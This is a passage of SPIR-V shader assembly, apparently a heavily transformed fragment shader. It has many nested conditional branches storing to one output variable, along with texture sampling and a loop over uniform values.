OpSelectionMerge %400 None OpBranchConditional %7 %399 %400 %399 = OpLabel OpStore %13 %404 OpBranch %400 %400 = OpLabel OpSelectionMerge %406 None OpBranchConditional %7 %405 %406 %405 = OpLabel OpStore %13 %411 OpBranch %406 %406 = OpLabel OpBranch %340 %340 = OpLabel %412 = OpAccessChain %30 %27 %29 %413 = OpLoad %10 %412 %414 = OpFOrdLessThan %6 %413 %33 OpSelectionMerge %416 None OpBranchConditional %414 %415 %416 %415 = OpLabel OpStore %13 %417 OpSelectionMerge %419 None OpBranchConditional %7 %418 %419 %418 = OpLabel OpStore %13 %424 %425 = OpAccessChain %65 %63 %64 %29 %426 = OpLoad %10 %425 %427 = OpAccessChain %65 %63 %64 %68 %428 = OpLoad %10 %427 %429 = OpFOrdGreaterThan %6 %426 %428 OpSelectionMerge %431 None OpBranchConditional %429 %430 %431 %430 = OpLabel OpStore %13 %436 OpBranch %431 %431 = OpLabel OpBranch %419 %419 = OpLabel %437 = OpAccessChain %65 %63 %64 %29 %438 = OpLoad %10 %437 %439 = OpAccessChain %65 %63 %64 %68 %440 = OpLoad %10 %439 %441 = OpFOrdGreaterThan %6 %438 %440 OpSelectionMerge %443 None OpBranchConditional %441 %442 %443 %442 = OpLabel OpStore %13 %448 OpBranch %443 %443 = OpLabel OpBranch %416 %416 = OpLabel OpSelectionMerge %450 None OpBranchConditional %7 %449 %450 %449 = OpLabel OpStore %13 %455 OpSelectionMerge %457 None OpBranchConditional %7 %456 %457 %456 = OpLabel OpStore %13 %460 OpBranch %457 %457 = OpLabel OpBranch %450 %450 = OpLabel OpSelectionMerge %462 None OpBranchConditional %7 %461 %462 %461 = OpLabel OpStore %13 %466 %467 = OpAccessChain %65 %63 %64 %29 %468 = OpLoad %10 %467 %469 = OpAccessChain %65 %63 %64 %68 %470 = OpLoad %10 %469 %471 = OpFOrdGreaterThan %6 %468 %470 OpSelectionMerge %473 None OpBranchConditional %471 %472 %473 %472 = OpLabel OpStore %13 %477 OpBranch %473 %473 = OpLabel OpBranch %462 %462 = OpLabel %478 = OpAccessChain %30 %27 %68 %479 = OpLoad %10 %478 %480 = OpFOrdLessThan %6 %479 %33 %481 = OpCompositeConstruct %208 %480 %186 %7 %186 %482 = OpCompositeExtract %6 %481 0 OpSelectionMerge %484 None OpBranchConditional %482 %483 %484 %483 = OpLabel %485 = OpAccessChain %30 %27 %68 %486 = OpLoad %10 %485 %487 = OpFOrdLessThan %6 %486 %33 OpSelectionMerge %489 None OpBranchConditional %487 %488 %489 %488 = OpLabel OpStore %13 %494 OpBranch %489 %489 = OpLabel %499 = OpBitcast %60 %498 %501 = OpCompositeExtract %10 %499 0 %502 = OpCompositeExtract %10 %499 1 %503 = OpCompositeConstruct %11 %501 %502 %377 %500 OpStore %13 %503 OpBranch %484 %484 = OpLabel OpSelectionMerge %505 None OpBranchConditional %7 %504 %505 %504 = OpLabel OpStore %13 %509 OpBranch %505 %505 = OpLabel OpStore %510 %64 OpStore %512 %514 OpSelectionMerge %516 None OpBranchConditional %7 %515 %516 %515 = OpLabel OpSelectionMerge %518 None OpBranchConditional %7 %517 %518 %517 = OpLabel OpStore %13 %523 OpBranch %518 %518 = OpLabel OpStore %13 %527 OpSelectionMerge %529 None OpBranchConditional %7 %528 %529 %528 = OpLabel OpStore %13 %534 OpBranch %529 %529 = OpLabel OpBranch %516 %516 = OpLabel OpSelectionMerge %543 None OpBranchConditional %186 %542 %561 %542 = OpLabel %544 = OpAccessChain %30 %27 %29 %545 = OpLoad %10 %544 %546 = OpFOrdLessThan %6 %545 %33 OpSelectionMerge %549 None OpBranchConditional %546 %548 %551 %548 = OpLabel %550 = OpLoad %11 %13 OpStore %547 %550 OpBranch %549 %551 = OpLabel %558 = OpLoad %11 %27 %559 = OpMatrixTimesVector %11 %557 %558 OpStore %547 %559 OpBranch %549 %549 = OpLabel %560 = OpLoad %11 %547 OpStore %541 %560 OpBranch %543 %561 = OpLabel OpStore %541 %565 OpBranch %543 %543 = OpLabel %566 = OpLoad %11 %541 %567 = OpCompositeExtract %10 %566 0 %568 = OpCompositeExtract %10 %566 1 %569 = OpCompositeExtract %10 %566 2 %570 = OpCompositeExtract %10 %566 3 %571 = OpCompositeConstruct %11 %567 %568 %569 %570 %572 = OpCompositeExtract %10 %571 0 %573 = OpCompositeExtract %10 %571 1 %574 = OpCompositeExtract %10 %571 2 %575 = OpCompositeExtract %10 %571 3 %576 = OpCompositeConstruct %11 %572 %573 %574 %575 %577 = OpCompositeExtract %10 %576 1 %578 = OpFOrdLessThan %6 %577 %33 %579 = OpSelect %10 %578 %539 %538 %580 = OpExtInst %10 %1 FMax %579 %538 %581 = OpAccessChain %30 %27 %68 %582 = OpLoad %10 %581 %583 = OpFOrdLessThan %6 %582 %33 %584 = OpSelect %10 %583 %539 %538 %585 = OpExtInst %10 %1 FMax %584 %538 %586 = OpAccessChain %30 %27 %68 %587 = OpLoad %10 %586 %588 = OpFOrdLessThan %6 %587 %33 %589 = OpSelect %10 %588 %539 %538 %590 = OpExtInst %10 %1 FMax %589 %538 %591 = OpExtInst %10 %1 FClamp %580 %585 %590 %592 = OpFDiv %10 %537 %591 %594 = OpCompositeConstruct %593 %592 %288 %33 %595 = OpCompositeExtract %10 %594 0 %597 = OpSelect %10 %7 %596 %595 OpStore %536 %597 OpSelectionMerge %599 None OpBranchConditional %7 %598 %599 %598 = OpLabel %600 = OpAccessChain %65 %63 %64 %29 %601 = OpLoad %10 %600 %602 = OpAccessChain %65 %63 %64 %68 %603 = OpLoad %10 %602 %604 = OpFOrdGreaterThan %6 %601 %603 OpSelectionMerge %606 None OpBranchConditional %604 %605 %606 %605 = OpLabel OpStore %13 %610 OpBranch %606 %606 = OpLabel OpStore %13 %614 %615 = OpAccessChain %30 %27 %29 %616 = OpLoad %10 %615 %617 = OpFOrdLessThan %6 %616 %33 OpSelectionMerge %619 None OpBranchConditional %617 %618 %619 %618 = OpLabel %639 = OpLoad %10 %536 %640 = OpSelect %10 %186 %638 %639 %641 = OpCompositeConstruct %11 %625 %626 %627 %628 %642 = OpCompositeConstruct %11 %520 %629 %630 %16 %643 = OpCompositeConstruct %11 %631 %632 %633 %634 %644 = OpCompositeConstruct %11 %635 %636 %637 %640 %645 = OpCompositeConstruct %552 %641 %642 %643 %644 %646 = OpVectorTimesMatrix %11 %624 %645 OpStore %13 %646 OpSelectionMerge %648 None OpBranchConditional %7 %647 %648 %647 = OpLabel OpStore %13 %653 OpBranch %648 %648 = OpLabel OpSelectionMerge %655 None OpBranchConditional %7 %654 %655 %654 = OpLabel OpStore %13 %660 OpBranch %655 %655 = OpLabel OpBranch %619 %619 = OpLabel OpSelectionMerge %662 None OpBranchConditional %7 %661 %662 %661 = OpLabel OpStore %13 %667 %669 = OpFAdd %11 %667 %668 OpSelectionMerge %671 None OpBranchConditional %7 %670 %671 %670 = OpLabel OpStore %13 %676 OpBranch %671 %671 = OpLabel OpBranch %662 %662 = OpLabel OpBranch %599 %599 = OpLabel %678 = OpLoad %11 %27 %679 = OpLoad %11 %27 %680 = OpExtInst %11 %1 FMax %678 %679 %681 = OpVectorShuffle %60 %680 %680 0 1 %682 = OpVectorTimesScalar %60 %681 %513 %684 = OpFMul %60 %682 %683 OpStore %677 %684 OpSelectionMerge %686 None OpBranchConditional %7 %685 %686 %685 = OpLabel OpStore %13 %691 OpSelectionMerge %693 None OpBranchConditional %7 %692 %693 %692 = OpLabel OpStore %13 %695 OpBranch %693 %693 = OpLabel %696 = OpAccessChain %30 %27 %29 %697 = OpLoad %10 %696 %698 = OpFOrdLessThan %6 %697 %33 OpSelectionMerge %700 None OpBranchConditional %698 %699 %700 %699 = OpLabel OpStore %13 %705 OpBranch %700 %700 = OpLabel OpBranch %686 %686 = OpLabel OpSelectionMerge %707 None OpBranchConditional %7 %706 %707 %706 = OpLabel OpStore %13 %712 OpBranch %707 %707 = OpLabel OpSelectionMerge %714 None OpBranchConditional %7 %713 %714 %713 = OpLabel OpStore %13 %718 OpBranch %714 %714 = OpLabel %719 = OpAccessChain %65 %63 %64 %29 %720 = OpLoad %10 %719 %721 = OpAccessChain %65 %63 %64 %68 %722 = OpLoad %10 %721 %723 = OpFOrdGreaterThan %6 %720 %722 %724 = OpLogicalOr %6 %723 %7 OpSelectionMerge %726 None OpBranchConditional %724 %725 %726 %725 = OpLabel OpStore %13 %727 OpBranch %726 %726 = OpLabel %733 = OpLoad %730 %732 %734 = OpLoad %60 %677 %735 = OpImageSampleImplicitLod %11 %733 %734 %736 = OpLoad %730 %732 %737 = OpLoad %60 %677 %738 = OpImageSampleImplicitLod %11 %736 %737 %739 = OpLoad %730 %732 %740 = OpLoad %60 %677 %741 = OpLoad %60 %677 %742 = OpExtInst %60 %1 FMax %740 %741 %744 = OpFSub %60 %742 %743 %745 = OpImageSampleImplicitLod %11 %739 %744 %746 = OpExtInst %11 %1 FClamp %735 %738 %745 %748 = OpCompositeExtract %10 %746 0 %749 = OpCompositeExtract %10 %746 1 %750 = OpCompositeExtract %10 %746 2 %751 = OpCompositeExtract %10 %746 3 %752 = OpCompositeConstruct %11 %748 %749 %750 %751 %753 = OpCompositeConstruct %11 %33 %288 %288 %33 %754 = OpCompositeConstruct %747 %752 %753 %755 = OpCompositeExtract %10 %754 0 0 %756 = OpCompositeExtract %10 %754 0 1 %757 = OpCompositeExtract %10 %754 0 2 %758 = OpCompositeExtract %10 %754 0 3 %759 = OpCompositeConstruct %11 %755 %756 %757 %758 %761 = OpCompositeExtract %10 %759 0 %762 = OpCompositeExtract %10 %759 1 %763 = OpCompositeExtract %10 %759 2 %764 = OpCompositeExtract %10 %759 3 %765 = OpCompositeConstruct %593 %761 %762 %763 %766 = OpCompositeConstruct %593 %764 %288 %288 %767 = OpCompositeConstruct %593 %33 %33 %33 %768 = OpCompositeConstruct %760 %765 %766 %767 %769 = OpCompositeExtract %10 %768 0 0 %770 = OpCompositeExtract %10 %768 0 1 %771 = OpCompositeExtract %10 %768 0 2 %772 = OpCompositeExtract %10 %768 1 0 %773 = OpCompositeConstruct %11 %769 %770 %771 %772 %775 = OpFDiv %11 %773 %774 %776 = OpCompositeExtract %10 %775 1 OpStore %728 %776 %777 = OpLoad %60 %512 %778 = OpLoad %60 %677 %779 = OpFSub %60 %778 %777 OpStore %677 %779 %780 = OpAccessChain %30 %27 %29 %781 = OpLoad %10 %780 %782 = OpLoad %10 %728 %783 = OpSelect %10 %186 %288 %782 %784 = OpExtInst %10 %1 FMin %783 %288 %785 = OpCompositeConstruct %593 %33 %33 %784 %787 = OpDot %10 %785 %786 %788 = OpFOrdLessThan %6 %781 %787 OpSelectionMerge %790 None OpBranchConditional %788 %789 %790 %789 = OpLabel OpStore %13 %793 OpBranch %790 %790 = OpLabel %794 = OpAccessChain %65 %63 %64 %29 %795 = OpLoad %10 %794 %796 = OpFAdd %10 %33 %795 %797 = OpAccessChain %65 %63 %64 %68 %798 = OpLoad %10 %797 %799 = OpFOrdGreaterThan %6 %796 %798 OpSelectionMerge %801 None OpBranchConditional %799 %800 %801 %800 = OpLabel OpStore %13 %668 OpBranch %801 %801 = OpLabel OpSelectionMerge %803 None OpBranchConditional %7 %802 %803 %802 = OpLabel OpStore %13 %807 OpBranch %803 %803 = OpLabel %808 = OpLoad %10 %536 %809 = OpLoad %10 %728 %810 = OpFAdd %10 %809 %808 OpStore %728 %810 %811 = OpAccessChain %30 %27 %29 %812 = OpLoad %10 %811 %813 = OpFOrdLessThan %6 %812 %33 OpSelectionMerge %815 None OpBranchConditional %813 %814 %815 %814 = OpLabel OpStore %13 %818 OpBranch %815 %815 = OpLabel %820 = OpLoad %730 %732 %821 = OpLoad %60 %677 %822 = OpLoad %60 %677 OpSelectionMerge %825 None OpBranchConditional %186 %824 %825 %824 = OpLabel %826 = OpAccessChain %30 %27 %68 %827 = OpLoad %10 %826 %828 = OpFOrdGreaterThanEqual %6 %827 %33 OpBranch %825 %825 = OpLabel %829 = OpPhi %6 %186 %815 %828 %824 %832 = OpSelect %10 %829 %830 %831 %833 = OpCompositeConstruct %60 %823 %832 %834 = OpAccessChain %30 %27 %68 %835 = OpLoad %10 %834 %836 = OpFOrdGreaterThanEqual %6 %835 %33 %837 = OpCompositeConstruct %359 %186 %836 %838 = OpSelect %60 %837 %683 %833 %839 = OpFMul %60 %822 %838 %840 = OpExtInst %60 %1 FMax %821 %839 %841 = OpImageSampleImplicitLod %11 %820 %840 %842 = OpCompositeExtract %10 %841 1 OpStore %819 %842 OpBranch %843 %843 = OpLabel OpLoopMerge %845 %846 None OpBranch %847 %847 = OpLabel %848 = OpLoad %10 %819 %849 = OpLoad %10 %728 %850 = OpFOrdLessThan %6 %848 %849 %851 = OpLoad %56 %510 %853 = OpSLessThan %6 %851 %852 %854 = OpLogicalAnd %6 %850 %853 OpBranchConditional %854 %844 %845 %844 = OpLabel %855 = OpLoad %60 %512 %856 = OpFAdd %60 %743 %855 %857 = OpLoad %60 %677 %858 = OpFSub %60 %857 %856 OpStore %677 %858 OpSelectionMerge %860 None OpBranchConditional %7 %859 %860 %859 = OpLabel OpStore %13 %864 OpBranch %860 %860 = OpLabel %865 = OpLogicalNot %6 %7 OpSelectionMerge %867 None OpBranchConditional %865 %866 %867 %866 = OpLabel %868 = OpAccessChain %30 %27 %68 %869 = OpLoad %10 %868 %870 = OpFOrdLessThan %6 %869 %33 OpBranch %867 %867 = OpLabel %871 = OpPhi %6 %7 %860 %870 %866 OpSelectionMerge %873 None OpBranchConditional %871 %872 %873 %872 = OpLabel OpStore %13 %876 OpBranch %873 %873 = OpLabel OpSelectionMerge %878 None OpBranchConditional %7 %877 %878 %877 = OpLabel OpStore %13 %883 OpBranch %878 %878 = OpLabel %884 = OpLoad %10 %536 %885 = OpLoad %10 %728 %886 = OpFAdd %10 %885 %884 OpStore %728 %886 OpSelectionMerge %888 None OpBranchConditional %7 %887 %888 %887 = OpLabel %889 = OpAccessChain %30 %27 %29 %890 = OpLoad %10 %889 %891 = OpFOrdLessThan %6 %890 %33 OpSelectionMerge %893 None OpBranchConditional %891 %892 %893 %892 = OpLabel OpStore %13 %897 OpBranch %893 %893 = OpLabel OpStore %13 %902 %903 = OpFMul %11 %774 %902 OpBranch %888 %888 = OpLabel %904 = OpAccessChain %30 %27 %68 %905 = OpLoad %10 %904 %906 = OpFOrdLessThan %6 %905 %33 OpSelectionMerge %908 None OpBranchConditional %906 %907 %908 %907 = OpLabel OpStore %13 %913 %914 = OpFSub %11 %913 %668 OpBranch %908 %908 = OpLabel OpSelectionMerge %916 None OpBranchConditional %7 %915 %916 %915 = OpLabel %917 = OpAccessChain %65 %63 %64 %29 %918 = OpLoad %10 %917 %919 = OpAccessChain %65 %63 %64 %68 %920 = OpLoad %10 %919 %921 = OpFOrdGreaterThan %6 %918 %920 OpSelectionMerge %923 None OpBranchConditional %921 %922 %923 %922 = OpLabel %925 = OpExtInst %11 %1 UnpackSnorm4x8 %924 OpStore %13 %925 OpSelectionMerge %927 None OpBranchConditional %7 %926 %927 %926 = OpLabel OpStore %13 %930 OpBranch %927 %927 = OpLabel %931 = OpAccessChain %65 %63 %64 %29 %932 = OpLoad %10 %931 %933 = OpAccessChain %65 %63 %64 %68 %934 = OpLoad %10 %933 %935 = OpFOrdGreaterThan %6 %932 %934 OpSelectionMerge %937 None OpBranchConditional %935 %936 %937 %936 = OpLabel OpStore %13 %941 OpBranch %937 %937 = OpLabel OpBranch %923 %923 = OpLabel OpSelectionMerge %943 None OpBranchConditional %7 %942 %943 %942 = OpLabel OpSelectionMerge %945 None OpBranchConditional %7 %944 %945 %944 = OpLabel OpStore %13 %949 OpSelectionMerge %951 None OpBranchConditional %7 %950 %951 %950 = OpLabel OpStore %13 %955 OpBranch %951 %951 = OpLabel OpBranch %945 %945 = OpLabel %956 = OpAccessChain %30 %27 %68 %957 = OpLoad %10 %956 %958 = OpFOrdLessThan %6 %957 %33 OpSelectionMerge %960 None OpBranchConditional %958 %959 %960 %959 = OpLabel OpStore %13 %965 OpBranch %960 %960 = OpLabel %971 = OpExtInst %11 %1 Cosh %970 OpStore %13 %971 OpSelectionMerge %973 None OpBranchConditional %7 %972 %973 %972 = OpLabel %974 = OpAccessChain %30 %27 %29 %975 = OpLoad %10 %974 %976 = OpFOrdLessThan %6 %975 %33 OpSelectionMerge %978 None OpBranchConditional %976 %977 %978 %977 = OpLabel %983 = OpExtInst %11 %1 Cosh %982 OpStore %13 %983 OpBranch %978 %978 = OpLabel OpStore %13 %987 OpBranch %973 %973 = OpLabel OpSelectionMerge %989 None OpBranchConditional %7 %988 %989 %988 = OpLabel %990 = OpAccessChain %30 %27 %68 %991 = OpLoad %10 %990 %992 = OpFOrdLessThan %6 %991 %33 OpSelectionMerge %994 None OpBranchConditional %992 %993 %994 %993 = OpLabel OpStore %13 %999 OpBranch %994 %994 = OpLabel OpStore %13 %1003 %1004 = OpFAdd %11 %668 %1003 %1005 = OpAccessChain %30 %27 %68 %1006 = OpLoad %10 %1005 %1007 = OpFOrdLessThan %6 %1006 %33 OpSelectionMerge %1009 None OpBranchConditional %1007 %1008 %1009 %1008 = OpLabel OpStore %13 %1014 OpBranch %1009 %1009 = OpLabel OpBranch %989 %989 = OpLabel %1015 = OpAccessChain %30 %27 %29 %1016 = OpLoad %10 %1015 %1017 = OpFOrdLessThan %6 %1016 %33 OpSelectionMerge %1019 None OpBranchConditional %1017 %1018 %1019 %1018 = OpLabel OpStore %13 %1024 OpBranch %1019 %1019 = OpLabel OpSelectionMerge %1026 None OpBranchConditional %7 %1025 %1026 %1025 = OpLabel OpSelectionMerge %1028 None OpBranchConditional %7 %1027 %1028 %1027 = OpLabel OpStore %13 %1033 OpBranch %1028 %1028 = OpLabel OpStore %13 %1038 OpBranch %1026 %1026 = OpLabel OpSelectionMerge %1040 None OpBranchConditional %7 %1039 %1040 %1039 = OpLabel OpStore %13 %1045 OpSelectionMerge %1047 None OpBranchConditional %7 %1046 %1047 %1046 = OpLabel OpStore %13 %1052 OpBranch %1047 %1047 = OpLabel OpBranch %1040 %1040 = OpLabel OpBranch %943 %943 = OpLabel OpStore %13 %668 OpBranch %916 %916 = OpLabel %1053 = OpLoad %730 %732 %1054 = OpLoad %60 %677 %1055 = OpImageSampleImplicitLod %11 %1053 %1054 %1056 = OpCompositeExtract %10 %1055 1 OpStore %819 %1056 %1057 = OpAccessChain %65 %63 %64 %29 %1058 = OpLoad %10 %1057 %1059 = OpAccessChain %65 %63 %64 %68 %1060 = OpLoad %10 %1059 %1061 = OpFOrdLessThan %6 %1058 %1060 OpSelectionMerge %1064 None OpBranchConditional %1061 %1063 %1066 %1063 = OpLabel %1065 = OpLoad %11 %27 OpStore %1062 %1065 OpBranch %1064 %1066 = OpLabel %1067 = OpLoad %10 %728 %1068 = OpLoad %60 %512 %1069 = OpCompositeExtract %10 %1068 0 %1070 = OpCompositeExtract %10 %1068 1 %1071 = OpCompositeConstruct %11 %1067 %397 %1069 %1070 OpStore %1062 %1071 OpBranch %1064 %1064 = OpLabel %1072 = OpAccessChain %535 %1062 %29 %1073 = OpLoad %10 %1072 %1074 = OpFMul %10 %288 %1073 %1075 = OpAccessChain %65 %63 %64 %29 %1076 = OpLoad %10 %1075 %1077 = OpAccessChain %65 %63 %64 %68 %1078 = OpLoad %10 %1077 %1079 = OpFOrdLessThan %6 %1076 %1078 OpSelectionMerge %1082 None OpBranchConditional %1079 %1081 %1084 %1081 = OpLabel %1083 = OpLoad %11 %27 OpStore %1080 %1083 OpBranch %1082 %1084 = OpLabel %1085 = OpLoad %10 %728 %1086 = OpLoad %60 %512 %1087 = OpCompositeExtract %10 %1086 0 %1088 = OpCompositeExtract %10 %1086 1 %1089 = OpCompositeConstruct %11 %1085 %397 %1087 %1088 OpStore %1080 %1089 OpBranch %1082 %1082 = OpLabel %1090 = OpAccessChain %535 %1080 %29 %1091 = OpLoad %10 %1090 %1092 = OpFMul %10 %288 %1091 %1093 = OpSelect %10 %7 %94 %1092 %1094 = OpExtInst %10 %1 FMin %1074 %1093 %1095 = OpLoad %10 %536 %1096 = OpSelect %10 %186 %33 %1095 %1097 = OpCompositeConstruct %11 %33 %33 %33 %1096 %1098 = OpExtInst %11 %1 Sin %1097 %1099 = OpExtInst %11 %1 FMin %668 %1098 %1100 = OpExtInst %11 %1 FClamp %668 %1099 %668 %1101 = OpExtInst %11 %1 FClamp %668 %668 %1100 %1102 = OpExtInst %11 %1 FClamp %668 %1101 %668 %1103 = OpExtInst %10 %1 Length %1102 %1104 = OpFOrdLessThan %6 %1094 %1103 OpSelectionMerge %1106 None OpBranchConditional %1104 %1105 %1106 %1105 = OpLabel OpSelectionMerge %1108 None OpBranchConditional %7 %1107 %1108 %1107 = OpLabel OpStore %13 %1113 OpBranch %1108 %1108 = OpLabel OpSelectionMerge %1115 None OpBranchConditional %7 %1114 %1115 %1114 = OpLabel OpStore %13 %1119 OpBranch %1115 %1115 = OpLabel %1120 = OpAccessChain %65 %63 %64 %29 %1121 = OpLoad %10 %1120 %1122 = OpAccessChain %65 %63 %64 %68 %1123 = OpLoad %10 %1122 %1124 = OpFOrdGreaterThan %6 %1121 %1123 %1125 = OpAccessChain %30 %27 %29 %1126 = OpLoad %10 %1125 %1127 = OpFOrdGreaterThanEqual %6 %1126 %33 %1128 = OpCompositeConstruct %208 %1124 %186 %1127 %186 %1129 = OpCompositeExtract %6 %1128 0 %1130 = OpLogicalOr %6 %1129 %7 %1131 = OpLogicalOr %6 %1130 %7 OpSelectionMerge %1133 None OpBranchConditional %1131 %1132 %1133 %1132 = OpLabel OpSelectionMerge %1135 None OpBranchConditional %7 %1134 %1135 %1134 = OpLabel OpStore %13 %1137 OpBranch %1135 %1135 = OpLabel OpStore %13 %1141 OpBranch %1133 %1133 = OpLabel OpStore %13 %1146 OpSelectionMerge %1148 None OpBranchConditional %7 %1147 %1148 %1147 = OpLabel OpSelectionMerge %1150 None OpBranchConditional %7 %1149 %1150 %1149 = OpLabel OpStore %13 %1153 OpBranch %1150 %1150 = OpLabel OpStore %13 %1158 OpBranch %1148 %1148 = OpLabel OpSelectionMerge %1160 None OpBranchConditional %7 %1159 %1160 %1159 = OpLabel OpStore %13 %1165 OpBranch %1160 %1160 = OpLabel OpSelectionMerge %1167 None OpBranchConditional %7 %1166 %1167 %1166 = OpLabel OpStore %13 %1172 OpBranch %1167 %1167 = OpLabel OpBranch %1106 %1106 = OpLabel OpSelectionMerge %1174 None OpBranchConditional %7 %1173 %1174 %1173 = OpLabel OpSelectionMerge %1176 None OpBranchConditional %7 %1175 %1176 %1175 = OpLabel %1196 = OpCompositeExtract %11 %1194 2 OpStore %13 %1196 OpBranch %1176 %1176 = OpLabel OpSelectionMerge %1198 None OpBranchConditional %7 %1197 %1198 %1197 = OpLabel %1199 = OpAccessChain %65 %63 %64 %29 %1200 = OpLoad %10 %1199 %1201 = OpAccessChain %65 %63 %64 %68 %1202 = OpLoad %10 %1201 %1203 = OpFOrdGreaterThan %6 %1200 %1202 OpSelectionMerge %1205 None OpBranchConditional %1203 %1204 %1205 %1204 = OpLabel OpStore %13 %1210 OpBranch %1205 %1205 = OpLabel OpStore %13 %1214 OpBranch %1198 %1198 = OpLabel %1215 = OpAccessChain %65 %63 %64 %29 %1216 = OpLoad %10 %1215 %1217 = OpAccessChain %65 %63 %64 %68 %1218 = OpLoad %10 %1217 %1219 = OpFOrdGreaterThan %6 %1216 %1218 OpSelectionMerge %1221 None OpBranchConditional %1219 %1220 %1221 %1220 = OpLabel OpSelectionMerge %1223 None OpBranchConditional %7 %1222 %1223 %1222 = OpLabel %1224 = OpAccessChain %30 %27 %68 %1225 = OpLoad %10 %1224 %1226 = OpFOrdLessThan %6 %1225 %33 OpSelectionMerge %1228 None OpBranchConditional %1226 %1227 %1228 %1227 = OpLabel OpSelectionMerge %1231 None OpBranchConditional %186 %1230 %1238 %1230 = OpLabel %1237 = OpExtInst %11 %1 Atanh %1236 OpStore %13 %1237 OpStore %1229 %1237 OpBranch %1231 %1238 = OpLabel %1239 = OpLoad %11 %13 OpStore %1229 %1239 OpBranch %1231 %1231 = OpLabel %1240 = OpLoad %11 %1229 %1241 = OpFMul %11 %1240 %774 OpSelectionMerge %1243 None OpBranchConditional %7 %1242 %1243 %1242 = OpLabel OpStore %13 %1248 OpBranch %1243 %1243 = OpLabel OpBranch %1228 %1228 = OpLabel %1252 = OpExtInst %11 %1 Asinh %1251 OpStore %13 %1252 OpBranch %1223 %1223 = OpLabel %1253 = OpAccessChain %30 %27 %29 %1254 = OpLoad %10 %1253 %1255 = OpFOrdLessThan %6 %1254 %33 OpSelectionMerge %1257 None OpBranchConditional %1255 %1256 %1257 %1256 = OpLabel OpStore %13 %1262 OpBranch %1257 %1257 = OpLabel %1263 = OpAccessChain %65 %63 %64 %29 %1264 = OpLoad %10 %1263 %1265 = OpAccessChain %65 %63 %64 %68 %1266 = OpLoad %10 %1265 %1267 = OpFOrdGreaterThan %6 %1264 %1266 OpSelectionMerge %1269 None OpBranchConditional %1267 %1268 %1269 %1268 = OpLabel OpStore %13 %1272 OpBranch %1269 %1269 = OpLabel OpStore %13 %1277 %1278 = OpFMul %11 %1277 %774 %1279 = OpFSub %11 %1278 %668 %1280 = OpFDiv %11 %1279 %774 OpBranch %1221 %1221 = OpLabel OpStore %13 %1284 OpSelectionMerge %1286 None OpBranchConditional %7 %1285 %1286 %1285 = OpLabel OpStore %13 %1288 OpBranch %1286 %1286 = OpLabel OpBranch %1174 %1174 = OpLabel %1289 = OpAccessChain %30 %27 %68 %1290 = OpLoad %10 %1289 %1291 = OpFOrdLessThan %6 %1290 %33 OpSelectionMerge %1293 None OpBranchConditional %1291 %1292 %1293 %1292 = OpLabel OpStore %13 %1296 OpBranch %1293 %1293 = OpLabel OpSelectionMerge %1298 None OpBranchConditional %7 %1297 %1298 %1297 = OpLabel OpStore %13 %1302 OpBranch %1298 %1298 = OpLabel OpSelectionMerge %1304 None OpBranchConditional %7 %1303 %1304 %1303 = OpLabel %1305 = OpAccessChain %65 %63 %64 %29 %1306 = OpLoad %10 %1305 %1307 = OpAccessChain %65 %63 %64 %68 %1308 = OpLoad %10 %1307 %1309 = OpFOrdGreaterThan %6 %1306 %1308 OpSelectionMerge %1311 None OpBranchConditional %1309 %1310 %1311 %1310 = OpLabel OpStore %13 %1314 %1315 = OpAccessChain %30 %27 %68 %1316 = OpLoad %10 %1315 %1317 = OpFOrdLessThan %6 %1316 %33 OpSelectionMerge %1319 None OpBranchConditional %1317 %1318 %1319 %1318 = OpLabel OpStore %13 %1323 OpBranch %1319 %1319 = OpLabel OpBranch %1311 %1311 = OpLabel OpStore %13 %1324 OpBranch %1304 %1304 = OpLabel OpSelectionMerge %1326 None OpBranchConditional %7 %1325 %1326 %1325 = OpLabel OpSelectionMerge %1328 None OpBranchConditional %7 %1327 %1328 %1327 = OpLabel OpStore %13 %1333 OpBranch %1328 %1328 = OpLabel %1334 = OpAccessChain %65 %63 %64 %29 %1335 = OpLoad %10 %1334 %1336 = OpAccessChain %65 %63 %64 %68 %1337 = OpLoad %10 %1336 %1338 = OpFOrdGreaterThan %6 %1335 %1337 OpSelectionMerge %1341 None OpBranchConditional %1338 %1340 %1346 %1340 = OpLabel OpStore %1339 %1345 OpBranch %1341 %1346 = OpLabel OpStore %13 %1351 OpStore %1339 %1351 OpBranch %1341 %1341 = OpLabel %1352 = OpAccessChain %30 %27 %29 %1353 = OpLoad %10 %1352 %1354 = OpFOrdLessThan %6 %1353 %33 OpSelectionMerge %1356 None OpBranchConditional %1354 %1355 %1356 %1355 = OpLabel OpSelectionMerge %1358 None OpBranchConditional %7 %1357 %1358 %1357 = OpLabel OpStore %13 %1361 OpBranch %1358 %1358 = OpLabel OpStore %13 %1365 OpBranch %1356 %1356 = OpLabel OpSelectionMerge %1367 None OpBranchConditional %7 %1366 %1367 %1366 = OpLabel %1368 = OpAccessChain %30 %27 %29 %1369 = OpLoad %10 %1368 %1370 = OpFOrdLessThan %6 %1369 %33 OpSelectionMerge %1372 None OpBranchConditional %1370 %1371 %1372 %1371 = OpLabel OpStore %13 %1377 OpBranch %1372 %1372 = OpLabel OpStore %13 %1378 OpBranch %1367 %1367 = OpLabel OpSelectionMerge %1380 None OpBranchConditional %7 %1379 %1380 %1379 = OpLabel OpSelectionMerge %1382 None OpBranchConditional %7 %1381 %1382 %1381 = OpLabel OpStore %13 %1387 OpBranch %1382 %1382 = OpLabel %1390 = OpLoad %10 %819 %1392 = OpSelect %10 %7 %1390 %1391 %1393 = OpFSub %10 %1392 %33 %1394 = OpExtInst %10 %1 FMax %1393 %1391 %1395 = OpExtInst %10 %1 FClamp %1394 %1391 %1391 %1396 = OpCompositeConstruct %11 %1388 %1389 %521 %1395 %1397 = OpExtInst %11 %1 Sinh %1396 %1404 = OpBitcast %11 %1403 %1405 = OpAccessChain %65 %63 %64 %29 %1406 = OpLoad %10 %1405 %1407 = OpConvertFToS %56 %1406 %1408 = OpISub %56 %1402 %1407 %1409 = OpBitwiseXor %56 %1408 %64 %1410 = OpBitwiseOr %56 %1402 %1409 %1411 = OpBitwiseOr %56 %1410 %1402 %1412 = OpExtInst %56 %1 SClamp %1411 %1402 %1402 %1413 = OpExtInst %56 %1 SMin %1412 %1402 %1414 = OpCompositeConstruct %1398 %1399 %1400 %1401 %1413 %1415 = OpBitcast %11 %1414 %1416 = OpBitcast %11 %1403 %1417 = OpExtInst %11 %1 FClamp %1404 %1415 %1416 %1418 = OpExtInst %11 %1 Step %1397 %1417 OpStore %13 %1418 %1419 = OpFAdd %11 %1418 %668 OpBranch %1380 %1380 = OpLabel %1420 = OpAccessChain %30 %27 %29 %1421 = OpLoad %10 %1420 %1422 = OpAccessChain %30 %27 %68 